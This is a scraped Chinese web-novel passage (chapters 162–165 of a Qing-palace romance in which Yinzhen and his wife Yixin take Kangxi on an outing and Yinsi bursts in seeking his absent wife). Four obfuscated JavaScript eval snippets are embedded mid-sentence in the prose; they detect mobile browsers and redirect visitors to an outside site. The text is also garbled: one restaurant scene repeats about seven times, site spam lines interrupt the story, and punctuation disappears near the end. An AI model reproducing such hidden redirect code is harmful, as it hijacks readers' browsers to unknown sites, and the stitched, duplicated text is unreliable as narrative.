马齐呵呵笑,“多吃多吃。” 府衙上没什么事情,胤禛和马齐一同回富察府。 仪欣还没睡醒,只不过她素来贪睡,也没有人会叫她。 胤禛道:“岳父大人,小婿先回嫖姚院看看,晚些再到书房陪您下棋。” 马齐摆摆手,不耽误孩子们的相处。 嫖姚院。 仪欣睡得很是香甜,没什么形象趴在床榻上,埋在被衾中间。 胤禛替她掖了掖被角,换上常服,安**在床边看书。 “王爷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胤禛稍稍思忖,回应她:“回咱们府上再大放厥词,当心隔墙有耳。” 仪欣习惯说话直来直往,王府和富察府是她最有安全感的地方,因而说起话来总是让人情不自禁折膝。 “嗯,好。”仪欣搓搓手,觉得很紧张,她喜欢聪明人的游戏,在一旁看热闹,好似自己在演话本子。 胤禛说:“有太子在前面,咱们什么也不用做,只需要好好孝敬皇阿玛。” 孝敬长辈? 这对仪欣来说,简直是舒适区。 胤禛听着仪欣小声密谋一会儿,含笑附和她,又夸她聪慧谨慎识大体,是个不可多得的贤内助。 * 次日。 仪欣迫不及待进宫请安。 下朝后,胤禛特意在乾清宫等着她来,他替康熙煮一盏碧螺春,便默不作声退到一旁。 康熙缓缓抬眼看他,挑眉慈爱道:“今日倒是看着心情好些,前几日阴阴沉沉的,朕都怀疑是否又派你去催债了。” “你年纪轻,朝政之事不要太强硬冒进,如今你身上担子重,却也要注意张弛有度。” 康熙说着,慢悠悠提壶倒一盏茶,推给胤禛。 听着康熙劝慰的话,胤禛微愣,他其实在康熙面前真实情绪都极少外露,胤禛没想到康熙能感觉到他的情绪。 胤禛问:“是不是户部那群奴才又跟皇阿玛说儿子的坏话了?儿子这就罚他们去抄卷宗。” 康熙无奈,握着奏折随意敲一下胤禛的脑袋。 “怎么又是这副急躁模样?怕不是跟马齐待久了,也染上一身莽夫气。” 胤禛弯唇笑:“儿子只是像阿玛,暂时还随不到马齐大人身上。” 康熙哈哈大笑,或许是胤禛没有子嗣的缘故,他近些年总是将胤禛看做承欢膝下的孩子,若说纵享天伦之乐,多半数也来源于胤禛。 “朕从前刚亲政时,也如你这般,做事精益求精,较真又手段狠辣,如今却是和缓许多。” 胤禛说:“仁德治国、宽厚爱民、轻徭薄赋、慎用刑罚、善于纳谏,皇阿玛手段和缓也好,狠辣也罢,总归是仁君取为国为民之道。” 康熙哈哈笑,指了指他,笑骂谄媚。 “万岁爷,四福晋进宫给您请安。”小泉子禀报 道。 仪欣袅袅婷婷走进来,大大方方给康熙行礼,眉眼弯弯看向胤禛,“儿臣给皇阿玛请安。” 康熙笑道:“起吧。” 仪欣行礼问安后乖巧站在胤禛旁边,将在宫外带来的糕点交给乾清宫的侍膳太监查验,而后神情诚恳,眼睛亮晶晶地等待康熙品尝。 康熙给面子吃了两块,看仪欣这般期待,又吃了两块别的。 想起胤禛总是留宿富察氏的事情,心里还是有些不悦。 康熙轻咳淡淡问道:“既已成家立业,隔三差五留宿富察府实在不像话,富察氏你可知错?” 仪欣没有羞愤,也没有恼怒,熟稔解释说:“儿臣去逛八大街,时常偶遇阿玛和兄长,阿玛盛情难却,故而儿臣这才回富察府歇歇脚。” 胤禛道:“嗯,她说的是。” 康熙本想教育训斥几句,听到马齐时常偶遇,有理有据,也只得噤声。 仪欣软声询问:“皇阿玛想去八大街逛逛吗?您想买什么东西,王爷给您付银两。” 胤禛含笑睨她一眼,小狗腿子。 康熙沉了脸,冷哼道:“成何体统,朕是皇帝,岂可肆意出宫?” * 马车碾在地面上,如同情人间细碎的耳语。 马车很宽敞,仪欣和胤禛并排坐着,对面是白龙鱼服的康熙。 康熙穿着与民间富商一般无二的衣裳,连配饰都不逾矩,一看就是经常偷摸出宫的熟练模样。 胤禛无奈看着仪欣,他面色清冷,眼眸垂着落下婉约的阴影;仪欣笑眸弯弯看着胤禛。 “阿玛,不妨去春意楼一同用午膳吧,儿子给您侍膳。” 康熙乐呵呵的,很好说话:“行啊,听你们小孩们的,但是,朕没带银两。” 胤禛失语,仪欣豪气悦耳的声音响起:“没事,都记在雍亲王府的账上!” 什么没带银两,明里没带伺候的太监,暗地里不知守着多少暗卫。 因为仪欣喜欢春意楼的膳食,春意楼常年都有雍亲王府的包厢,一行人到了春意楼直接被恭迎进了包厢。 康熙一年到头确实不曾在外面用两次膳,也颇有兴致。 还耐心又和气问店小二有什么菜品。 店小二见康熙气度 不凡,又没什么彰显身份的配饰,拿不准主意,只笑迎着道:“四福晋是春意楼的常客,吃食方面最是讲究。” 康熙道:“那便让老四媳妇点菜吧。” 店小二闻言大惊,赶忙低头,这…这位爷这语气。 胤禛略带警告又不满看着康熙,潜台词很明显,阿玛这不是给儿子和福晋惹麻烦吗? 康熙吹胡子瞪眼,难不成还要朕尊称你为四爷? 仪欣没察觉到两人的眼风,欢喜点她爱自己吃的膳食,霹雳啪嗒打算盘似的蹦出来一道道菜名。 店小二诚惶诚恐退下,苏培盛紧跟其后,随之敲打店小二什么该说什么不该说。 两刻钟后,菜便上齐了。 马齐跟饭菜不期而遇。 看着眼前人,马齐眼前一黑,又调整好情绪,问,“您…您怎么出来了?” 康熙捋了捋胡子,不满冷哼道:“我又未下大狱,怎得不能出来了?” 仪欣笑盈盈扯了扯马齐的衣袖,“阿玛,一同用膳吧。” 康熙也笑呵呵劝一句:“是啊,亲家,一同用膳呗。” 马齐大马金刀坐下来,本想跟女婿闺女一同用个午膳,如今又变成伺候皇帝用膳,怎么能乐意? 仪欣却很高兴,惊喜于能见到马齐,又央求马齐一同逛八大街,马齐欣然同意。 胤禛亲自给康熙布菜,几乎是他先试吃一口,再夹到康熙的碗碟中,这么多年了,他很了解康熙的口味。 康熙按下他的手腕,慈爱摆摆手道,“罢了,上菜时已然验过,不必忙了,用膳吧。” 仪欣听到康熙的话,捧场又附和着连连点头。 康熙夹菜后,她猛猛给胤禛夹了几筷子她最爱吃的菜,又盛一小碗百米飘香的塔前糊汤放到胤禛面前。 喝! 胤禛垂眸勾了勾唇。 不凡,又没什么彰显身份的配饰,拿不准主意,只笑迎着道:“四福晋是春意楼的常客,吃食方面最是讲究。” 康熙道:“那便让老四媳妇点菜吧。” 店小二闻言大惊,赶忙低头,这…这位爷这语气。 胤禛略带警告又不满看着康熙,潜台词很明显,阿玛这不是给儿子和福晋惹麻烦吗? 康熙吹胡子瞪眼,难不成还要朕尊称你为四爷? 仪欣没察觉到两人的眼风,欢喜点她爱自己吃的膳食,霹雳啪嗒打算盘似的蹦出来一道道菜名。 店小二诚惶诚恐退下,苏培盛紧跟其后,随之敲打店小二什么该说什么不该说。 两刻钟后,菜便上齐了。 马齐跟饭菜不期而遇。 看着眼前人,马齐眼前一黑,又调整好情绪,问,“您…您怎么出来了?” 康熙捋了捋胡子,不满冷哼道:“我又未下大狱,怎得不能出来了?” 仪欣笑盈盈扯了扯马齐的衣袖,“阿玛,一同用膳吧。” 康熙也笑呵呵劝一句:“是啊,亲家,一同用膳呗。” 马齐大马金刀坐下来,本想跟女婿闺女一同用个午膳,如今又变成伺候皇帝用膳,怎么能乐意? 仪欣却很高兴,惊喜于能见到马齐,又央求马齐一同逛八大街,马齐欣然同意。 胤禛亲自给康熙布菜,几乎是他先试吃一口,再夹到康熙的碗碟中,这么多年了,他很了解康熙的口味。 康熙按下他的手腕,慈爱摆摆手道,“罢了,上菜时已然验过,不必忙了,用膳吧。” 仪欣听到康熙的话,捧场又附和着连连点头。 康熙夹菜后,她猛猛给胤禛夹了几筷子她最爱吃的菜,又盛一小碗百米飘香的塔前糊汤放到胤禛面前。 喝! 胤禛垂眸勾了勾唇。 不凡,又没什么彰显身份的配饰,拿不准主意,只笑迎着道:“四福晋是春意楼的常客,吃食方面最是讲究。” 康熙道:“那便让老四媳妇点菜吧。” 店小二闻言大惊,赶忙低头,这…这位爷这语气。 胤禛略带警告又不满看着康熙,潜台词很明显,阿玛这不是给儿子和福晋惹麻烦吗? 康熙吹胡子瞪眼,难不成还要朕尊称你为四爷? 仪欣没察觉到两人的眼风,欢喜点她爱自己吃的膳食,霹雳啪嗒打算盘似的蹦出来一道道菜名。 店小二诚惶诚恐退下,苏培盛紧跟其后,随之敲打店小二什么该说什么不该说。 两刻钟后,菜便上齐了。 马齐跟饭菜不期而遇。 看着眼前人,马齐眼前一黑,又调整好情绪,问,“您…您怎么出来了?” 康熙捋了捋胡子,不满冷哼道:“我又未下大狱,怎得不能出来了?” 仪欣笑盈盈扯了扯马齐的衣袖,“阿玛,一同用膳吧。” 康熙也笑呵呵劝一句:“是啊,亲家,一同用膳呗。” 马齐大马金刀坐下来,本想跟女婿闺女一同用个午膳,如今又变成伺候皇帝用膳,怎么能乐意? 仪欣却很高兴,惊喜于能见到马齐,又央求马齐一同逛八大街,马齐欣然同意。 胤禛亲自给康熙布菜,几乎是他先试吃一口,再夹到康熙的碗碟中,这么多年了,他很了解康熙的口味。 康熙按下他的手腕,慈爱摆摆手道,“罢了,上菜时已然验过,不必忙了,用膳吧。” 仪欣听到康熙的话,捧场又附和着连连点头。 康熙夹菜后,她猛猛给胤禛夹了几筷子她最爱吃的菜,又盛一小碗百米飘香的塔前糊汤放到胤禛面前。 喝! 胤禛垂眸勾了勾唇。 不凡,又没什么彰显身份的配饰,拿不准主意,只笑迎着道:“四福晋是春意楼的常客,吃食方面最是讲究。” 康熙道:“那便让老四媳妇点菜吧。” 店小二闻言大惊,赶忙低头,这…这位爷这语气。 胤禛略带警告又不满看着康熙,潜台词很明显,阿玛这不是给儿子和福晋惹麻烦吗? 康熙吹胡子瞪眼,难不成还要朕尊称你为四爷? 仪欣没察觉到两人的眼风,欢喜点她爱自己吃的膳食,霹雳啪嗒打算盘似的蹦出来一道道菜名。 店小二诚惶诚恐退下,苏培盛紧跟其后,随之敲打店小二什么该说什么不该说。 两刻钟后,菜便上齐了。 马齐跟饭菜不期而遇。 看着眼前人,马齐眼前一黑,又调整好情绪,问,“您…您怎么出来了?” 康熙捋了捋胡子,不满冷哼道:“我又未下大狱,怎得不能出来了?” 仪欣笑盈盈扯了扯马齐的衣袖,“阿玛,一同用膳吧。” 康熙也笑呵呵劝一句:“是啊,亲家,一同用膳呗。” 马齐大马金刀坐下来,本想跟女婿闺女一同用个午膳,如今又变成伺候皇帝用膳,怎么能乐意? 仪欣却很高兴,惊喜于能见到马齐,又央求马齐一同逛八大街,马齐欣然同意。 胤禛亲自给康熙布菜,几乎是他先试吃一口,再夹到康熙的碗碟中,这么多年了,他很了解康熙的口味。 康熙按下他的手腕,慈爱摆摆手道,“罢了,上菜时已然验过,不必忙了,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408835|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膳吧。” 仪欣听到康熙的话,捧场又附和着连连点头。 康熙夹菜后,她猛猛给胤禛夹了几筷子她最爱吃的菜,又盛一小碗百米飘香的塔前糊汤放到胤禛面前。 喝! 胤禛垂眸勾了勾唇。 不凡,又没什么彰显身份的配饰,拿不准主意,只笑迎着道:“四福晋是春意楼的常客,吃食方面最是讲究。” 康熙道:“那便让老四媳妇点菜吧。” 店小二闻言大惊,赶忙低头,这…这位爷这语气。 胤禛略带警告又不满看着康熙,潜台词很明显,阿玛这不是给儿子和福晋惹麻烦吗? 康熙吹胡子瞪眼,难不成还要朕尊称你为四爷? 仪欣没察觉到两人的眼风,欢喜点她爱自己吃的膳食,霹雳啪嗒打算盘似的蹦出来一道道菜名。 店小二诚惶诚恐退下,苏培盛紧跟其后,随之敲打店小二什么该说什么不该说。 两刻钟后,菜便上齐了。 马齐跟饭菜不期而遇。 看着眼前人,马齐眼前一黑,又调整好情绪,问,“您…您怎么出来了?” 康熙捋了捋胡子,不满冷哼道:“我又未下大狱,怎得不能出来了?” 仪欣笑盈盈扯了扯马齐的衣袖,“阿玛,一同用膳吧。” 康熙也笑呵呵劝一句:“是啊,亲家,一同用膳呗。” 马齐大马金刀坐下来,本想跟女婿闺女一同用个午膳,如今又变成伺候皇帝用膳,怎么能乐意? 仪欣却很高兴,惊喜于能见到马齐,又央求马齐一同逛八大街,马齐欣然同意。 胤禛亲自给康熙布菜,几乎是他先试吃一口,再夹到康熙的碗碟中,这么多年了,他很了解康熙的口味。 康熙按下他的手腕,慈爱摆摆手道,“罢了,上菜时已然验过,不必忙了,用膳吧。” 仪欣听到康熙的话,捧场又附和着连连点头。 康熙夹菜后,她猛猛给胤禛夹了几筷子她最爱吃的菜,又盛一小碗百米飘香的塔前糊汤放到胤禛面前。 喝! 胤禛垂眸勾了勾唇。 不凡,又没什么彰显身份的配饰,拿不准主意,只笑迎着道:“四福晋是春意楼的常客,吃食方面最是讲究。” 康熙道:“那便让老四媳妇点菜吧。” 店小二闻言大惊,赶忙低头,这…这位爷这语气。 胤禛略带警告又不满看着康熙,潜台词很明显,阿玛这不是给儿子和福晋惹麻烦吗? 康熙吹胡子瞪眼,难不成还要朕尊称你为四爷? 仪欣没察觉到两人的眼风,欢喜点她爱自己吃的膳食,霹雳啪嗒打算盘似的蹦出来一道道菜名。 店小二诚惶诚恐退下,苏培盛紧跟其后,随之敲打店小二什么该说什么不该说。 两刻钟后,菜便上齐了。 马齐跟饭菜不期而遇。 看着眼前人,马齐眼前一黑,又调整好情绪,问,“您…您怎么出来了?” 康熙捋了捋胡子,不满冷哼道:“我又未下大狱,怎得不能出来了?” 仪欣笑盈盈扯了扯马齐的衣袖,“阿玛,一同用膳吧。” 康熙也笑呵呵劝一句:“是啊,亲家,一同用膳呗。” 马齐大马金刀坐下来,本想跟女婿闺女一同用个午膳,如今又变成伺候皇帝用膳,怎么能乐意? 仪欣却很高兴,惊喜于能见到马齐,又央求马齐一同逛八大街,马齐欣然同意。 胤禛亲自给康熙布菜,几乎是他先试吃一口,再夹到康熙的碗碟中,这么多年了,他很了解康熙的口味。 康熙按下他的手腕,慈爱摆摆手道,“罢了,上菜时已然验过,不必忙了,用膳吧。” 仪欣听到康熙的话,捧场又附和着连连点头。 康熙夹菜后,她猛猛给胤禛夹了几筷子她最爱吃的菜,又盛一小碗百米飘香的塔前糊汤放到胤禛面前。 喝! 胤禛垂眸勾了勾唇。 不凡,又没什么彰显身份的配饰,拿不准主意,只笑迎着道:“四福晋是春意楼的常客,吃食方面最是讲究。” 康熙道:“那便让老四媳妇点菜吧。” 店小二闻言大惊,赶忙低头,这…这位爷这语气。 胤禛略带警告又不满看着康熙,潜台词很明显,阿玛这不是给儿子和福晋惹麻烦吗? 康熙吹胡子瞪眼,难不成还要朕尊称你为四爷? 仪欣没察觉到两人的眼风,欢喜点她爱自己吃的膳食,霹雳啪嗒打算盘似的蹦出来一道道菜名。 店小二诚惶诚恐退下,苏培盛紧跟其后,随之敲打店小二什么该说什么不该说。 两刻钟后,菜便上齐了。 马齐跟饭菜不期而遇。 看着眼前人,马齐眼前一黑,又调整好情绪,问,“您…您怎么出来了?” 康熙捋了捋胡子,不满冷哼道:“我又未下大狱,怎得不能出来了?” 仪欣笑盈盈扯了扯马齐的衣袖,“阿玛,一同用膳吧。” 康熙也笑呵呵劝一句:“是啊,亲家,一同用膳呗。” 马齐大马金刀坐下来,本想跟女婿闺女一同用个午膳,如今又变成伺候皇帝用膳,怎么能乐意? 仪欣却很高兴,惊喜于能见到马齐,又央求马齐一同逛八大街,马齐欣然同意。 胤禛亲自给康熙布菜,几乎是他先试吃一口,再夹到康熙的碗碟中,这么多年了,他很了解康熙的口味。 康熙按下他的手腕,慈爱摆摆手道,“罢了,上菜时已然验过,不必忙了,用膳吧。” 仪欣听到康熙的话,捧场又附和着连连点头。 康熙夹菜后,她猛猛给胤禛夹了几筷子她最爱吃的菜,又盛一小碗百米飘香的塔前糊汤放到胤禛面前。 喝! 胤禛垂眸勾了勾唇。 第163章 小夫妻夺嫡第一步,孝敬皇阿玛(2) 康熙很少跟胤禛坐下来用膳,马齐也有些不自在,毕竟谁愿意跟皇帝吃饭,他早就过了视此为君恩的年纪地位了。 胤禛亦是沉默寡言的性格。 场面不由得有些冷场。 但是不要紧,我们有富察仪欣。 仪欣昨晚睡前就琢磨着跟康熙聊什么,就连偶遇马齐都猜到了。 仪欣弯唇,巧言盼兮约着康熙打马吊牌,“皇阿玛,您什么时候再出宫,再一起打马吊牌吧。” 胤禛顺口附和仪欣,“皇阿玛的马吊牌打得确实不错。” 马齐抽了抽唇角,意味深长问,“万岁爷,您还带着他俩**呢?朝廷不是禁赌吗?” 康熙在朝堂上对**一事可以说是深恶痛绝,一年不知要砍多少人。 康熙:“不过是陪孩子们玩,又不曾沾染银两,算什么赌,爱卿,慎言。” 仪欣连连点头,诚恳对马齐说,“对,阿玛,你慎言,咱们一起玩吧,皇阿玛定个日子。” 马齐一噎。 康熙和颜悦色道,“行啊,朕定好之后,再说。爱卿,来不来?” 马齐道:“来。” 他也要陪孩子们玩! 康熙顺理成章打开了话匣子,指点江山般教仪欣和胤禛怎么玩马吊牌,跟马齐回忆从前种种。 仪欣抿唇娇憨笑,太棒了,多多跟皇阿玛私下里相处,那皇阿玛不就多疼王爷了吗?简直是易如反掌! 胤禛笑着给仪欣夹菜,好像不止是在他的生活里,如今在他枯燥麻木的夺嫡路途中,也有了一个上蹿下跳的小伙伴,于是多了许多趣味和色彩。 仪欣朝胤禛挑眉,得意到摇头晃脑。 她仿佛有些天然的亲和力和熟稔感,纵使亲近谄媚而不招致厌烦。 春意楼的包厢隔音极好,又有专人服侍着,倒是没有偷听之类的事情发生。 包厢外。 胤禩沉着脸,指尖有些胆怯的颤抖,还是平静跟苏培盛道,“四哥是不是在里面用膳?爷进去打声招呼。” 苏培盛守着门,一步不让,客气道:“八爷,我们家王爷说不让任何人打扰。” 老九道:“八哥,你跟个奴才秧子废什么话,咱们就算闯进去又能如何?” 你的朋友正在书荒,快去帮帮他吧 胤禩不赞同老九说的话,却也真是管不了这么多了,昨日,他的人在京城看到了姚虞的身影,不消半刻钟便跟丢了。 姚虞回京了,姚虞回京了。 胤禩仍是压着急切,温声说:“让爷进去,或者你进去通禀一声,麻烦四哥出来说几句话。” 苏培盛苦笑,再次拒绝。 真不是他不让进,想起里面那位的身份,他一个奴才,若是都不能遵命,那就真的没有存在的必要了。 老九阴沉着脸说:“想不到某些人的架子还挺大,平日里装出一副兄友弟恭的模样,实则不过是只笑面狐狸。” 老十扯了扯老九的袖口,轻声劝一句,“怕是四哥的福晋也在里面,不太方便。” 他转头提议说,“八哥,不妨再找找,或许四哥也不一定知道八嫂的消息。” 胤禩眸色暗了暗。 不是,四哥肯定知道,甚至姚虞回京就是四哥安排的,额娘离世,以姚虞的性情行事,她定是会回京祭拜的。 “我不能再等了。”胤禩自言自语。 等到外面闹起来,康熙含着怒气看着门口,准备让梁九功去一探究竟。 仪欣探头探脑,也想跟着凑热闹去看看,胤禛握住她的手腕揶揄挑眉,仪欣瞪圆了眼睛,看到胤禛修长的手指在桌下对她打手势。 三、二、一 嘭—— 仪欣紧张缩了缩脖子,一激灵。 扭头看到老**九老十,破门而入。 仪欣眼睛圆溜溜的,激动晃了晃胤禛的手臂,老天爷,他们怎么莽莽撞撞冲进来了? 胤禩先看到了胤禛和仪欣,仪欣看热闹不嫌事大的兴奋面庞让他不自觉拧眉,视线偏移便看到了马齐…和康熙。 “皇阿玛?!” 老九老十同时喊出声来。 “儿臣给皇阿玛请安。”胤禩折膝跪下,老九老十紧随其后。 谁能给他们解释一下,皇阿玛为什么会在春意楼?为什么会在老四的包厢里? 皇阿玛对老四已经关爱到一同出宫游玩的地步了吗? 况且皇阿玛身旁,似乎无人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420259|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍膳验毒,已经信任到这种地步了吗? 康熙也吓了一跳,冷脸怒斥道:“孽障,你们要做什么?要**不 听说看这本书的人都是很幸运的,分享后你的运气会更棒 成?!” 马齐还在这里,这三个孽障是想干什么?丢脸丢到外面了。 “儿臣不敢。”胤禩冷静下来,心平气和想退下去。 老十笑呵呵起身,有些撒娇埋怨一句,“皇阿玛出宫怎么不跟儿臣说一声,儿臣最擅长吃喝玩乐,肯定能陪皇阿玛玩得尽兴。” 又冲马齐道,“你说是吧,姨夫?” 马齐敬谢不敏,拱拱手谨慎道:“十爷说笑了。” 康熙却有了些笑意,笑骂道:“滚出去,整日胡闹。” “欸!”老十上前给康熙斟茶,吊儿郎当笑着说,“儿臣有几句话想跟四哥说,这才一时鲁莽闯了进来,您让儿臣跟四哥说几句话吧。” 老八**里,老十算是最得康熙喜爱的,血统纯正,他又没什么野心,整日撩猫逗狗不亦乐乎,又娶了蒙古福晋博尔济吉特氏。 康熙:“罢了,你们兄弟之间叙话,朕不掺和。” 胤禩热切看向胤禛,胤禛起身示意他们出去说,不要搅扰了康熙用膳的雅兴。 胤禩正有此意,潮热的手掌攥上胤禛的袖口,胤禛不悦拧眉,随着他们大步往外走。 没走几步路,胤禛平淡开口:“我不清楚你想知道的事情。” “你和郭络罗氏的事情,如果本王没想错,属于你们两个人,别整日一副本王掳走你的福晋的模样,本王无福消受。”胤禛掸去他的手。 胤禩喉咙酸涩,半晌问出一句话来:“她可还安好?” 他顺着蛛丝马迹找到了保护她的侍卫,却听闻她早已孤身远行,并未让她的侍卫继续追随。 姚虞是个女子,侍卫朝夕相处毕竟多有不便,可她自小养尊处优,纵使聪慧机敏,擅长骑射,对民间生活却并不熟悉,不知要遇到多少困难。 她刚离开时,他想的是怎么把她找回来,如今只想问问她可还安好。 胤禛无辜耸了耸肩,反问说:“你是她的夫君,你都不知道,本王怎么可能清楚?” 第164章小夫妻夺嫡第一步,孝敬皇阿玛(3) 胤禩听到胤禛的话,整个人都要碎掉了,最后是老九和老十陪着离开春意楼。 他失魂落魄,像是自杏花细雨里穿行过一趟,周身精气支撑不住什么了。 最近又发生了好多杂乱的事情,额娘离世,他送走了最疼爱他的亲人。 皇阿玛迫使他强硬对上太子**,可是,早在两年前,他的亲信便死生离散,他如今毫无自保之力,只能依附皇阿玛的威信。 夜深人静时,他时常绝望得想,若是姚虞在就好了。 可是她在的时候,好像永远都是次选项。 康熙四十八年,他失去权力之后,他才看到姚虞。 **该怎么办去弥补曾经的一切,只是想先见到她,至少争取一个弥补的机会。 * 胤禛回到包厢时,仪欣正跟马齐和康熙商量用过午膳后去照春芳听戏。 康熙喜欢戏折子,欣然答应。 马齐见康熙如此好脾气,古怪看了胤禛一眼,想不到四爷在万岁爷这里的地位已经这么特殊了。 包厢里没什么外人,康熙神色严肃,开口问仪欣:“对老八媳妇的事,你知道多少?” 仪欣霎时紧张兮兮,她都知道啊,她开始还在庆幸皇阿玛没有出手找姚虞姐姐,如今问到她头上,总不能拖累了姚虞。 “我…我…”仪欣嗫嚅斟酌。 马齐笑着打圆场,“老臣听闻是重病在床呢?” 康熙冷哼。 胤禛坐到仪欣身边,握住她的手,淡淡道:“有些事情是知道不知道就能管的吗?总归是老八和郭络罗氏的私事,纵使有所耳闻,儿子和福晋也不曾掺和进去。” “况且,阿玛,您不也知道吗?”胤禛不满,“怎么一个两个丢了福晋,都来问儿子要人?” 康熙讪讪笑,轻咳一声,“朕亦只是有所耳闻。” 他还答应老八一些事情,目前对郭络罗氏离开一事睁一只眼闭一只眼。 不聋不哑不做家翁,更何况是做皇帝。 只要是不闹出什么有损皇家颜面的事情,他可以置之不理,暂时任由郭络罗氏“重病”。 仪欣抿唇看胤禛,她很担忧皇阿玛的态度,有时候姚虞摆脱了胤禩,终归摆脱不了皇权。 姚 你的朋友正在书荒,快去帮帮他吧 虞之所以敢一走了之只是因为她孑然一身母族没什么亲人。 胤禛捏捏她的指腹示意她安心。 用过午膳。 仪欣带着康熙和马齐逛八大街凡是康熙多看一眼的东西仪欣都会笑眯眯戳戳胤禛胤禛便去付钱买下。 康熙傲娇来回逛反而表现出处处好奇的模样。 马齐陪仪欣外出从未让闺女花过银两爱屋及乌对胤禛也是如此于是抢着掏银子。 他就是最淳朴的富家翁疼爱幼子幺女的心态对于儿子严格要求还有些等级观念。 对于仪欣这个幺女却是只剩疼惜和尊重好似对待小友一般。 马齐:“你喜欢什么阿玛给你买。” 仪欣弯了弯眼睛道:“谢谢阿玛 “走全记在阿玛账上。”马齐应和笑着说“阿玛前些时日猎得一只猛虎整张虎皮给你做个大氅。” “阿玛最威风!”仪欣欣喜夸赞骄矜明媚仰头“我穿着阿玛猎来的虎皮大氅也是威风凛凛的。” 马齐拊掌大笑转头对胤禛熟稔道:“等老臣再猎一只老虎那张虎皮给王爷留着。” 胤禛弯唇笑“多谢岳父。” 富察仪欣便是随了马齐的性子话在行动前面不过足够令人熨帖。 她前阵子给他许下一包袱寝衣至今连针都没穿。 康熙在一旁看得讶异想不到富察氏竟是如此受疼爱又觉得自己格格不入。 他不由得反思自己和胤禛的关系是不是君臣观念过于浓厚? 到了束台阁掌柜的热络将他们迎进去。 束台阁的笔墨纸砚和话本书卷乃京城一绝达官显贵最是爱不释手买回去亦可做收藏之用。 康熙清清嗓子拍了拍胤禛的肩膀道“你想要什么阿玛也给你买。” 胤禛诧异看到不远处仪欣跟马齐在书架前大杀四方的模样心中了然。 她怎么一出马总是能够事半功倍呢? “嗯。” 胤禛没有客套推诿随手指了指最贵的一套文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420260|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房四宝示意掌柜的包起来。 康熙利落让梁九功付银两又给胤禛挑了几卷孤本佛经。 你的朋友正在书荒,快去帮帮他吧 这时候不说没带银两了。 这是康熙第一次跟胤禛出宫同游,觉得体验感极好。 他只带了梁九功一个随侍,却满载而归,各种零零碎碎小东西装满一辆马车。 仪欣的爱是波涛汹涌的潮水,无孔不入直达心肺,把康熙哄得流连忘返。 回到雍亲王府,仪欣又被胤禛薅着塞到药浴汤池里。 “王爷,今儿可给我累坏了。”仪欣伏在白玉壁上憨笑。 胤禛坐在池边,爱怜摸摸她的脑袋,“仪欣最是勤奋。” 仪欣问:“皇阿玛会开心吗?” 胤禛应承:“会,可是我更关心仪欣今日开心吗?” 仪欣小脸红扑扑的,“我开心哇,我今日挑了好些新鲜的话本子,今晚王爷给我念新话本吧。” 胤禛垂了垂眼,讳莫如深道,“今晚要读仪欣跟本王吵架时写的十二篇信。” 本来是想带她去见郭络罗氏,可是她今日太累了,泡完药浴该早些睡的。 仪欣着急,恨不得爬上汤池,连忙道:“啊!不行,和好了,不能读了。” 老天爷,王爷怎么想起一出来是一出,吵架时写得信,啊啊啊啊她那天晚上叽里咕噜说了一大堆胆大包天的话。 况且,难过时写的东西,现在想想也尴尬吧。 “本王还给仪欣回了信,也不想看吗?” 胤禛含笑按住她的脑袋,闷闷笑着故意不让她爬上来。 仪欣:又欺负人!又欺负人!太恶劣了! 两刻钟后。 仪欣沐浴更衣暖烘烘窝在床榻上,幽怨看着胤禛在桌案前含笑看她的信。 后悔! 有话直说,她打什么草稿啊! 她还不是怕有事忘了说不清楚吗? 胤禛淡淡含笑,将她的信件卷起来,不紧不慢握在手里敲了敲。 “嗯?本王怎么不知道你对我一见钟情呢?” “原来你这么早就惦记本王了?” 第165章本王不为儿子的前途活着 嗯,一见钟情。 果然,不论什么时候,不管面对什么人,她都只能喜欢他。 往下看。 “哦?本王怎么不知道福晋这么大胆,若是本王再骗你,你就要休夫?” “哦,原来是暂时先原谅本王,但是还是要再考察一会儿,若是考察不通过,还是要休夫?” 胤禛走到床榻边,见她张牙舞爪炸毛,伸手捏住了仪欣的脸,咬牙切齿晃了晃,“谁教你的休夫?” 整日跟郭络罗氏在一起,也不学点好的。 “啊!”仪欣拍掉他的手,娇气吁吁揉了揉自己的脸,盯着他说:“反正我是认真的。” 胤禛神色暗了暗,脑袋里搜罗着还有什么事情没告诉她。 往马齐膝头泼了一盏热茶,打湿了她绣的护膝,算吗? 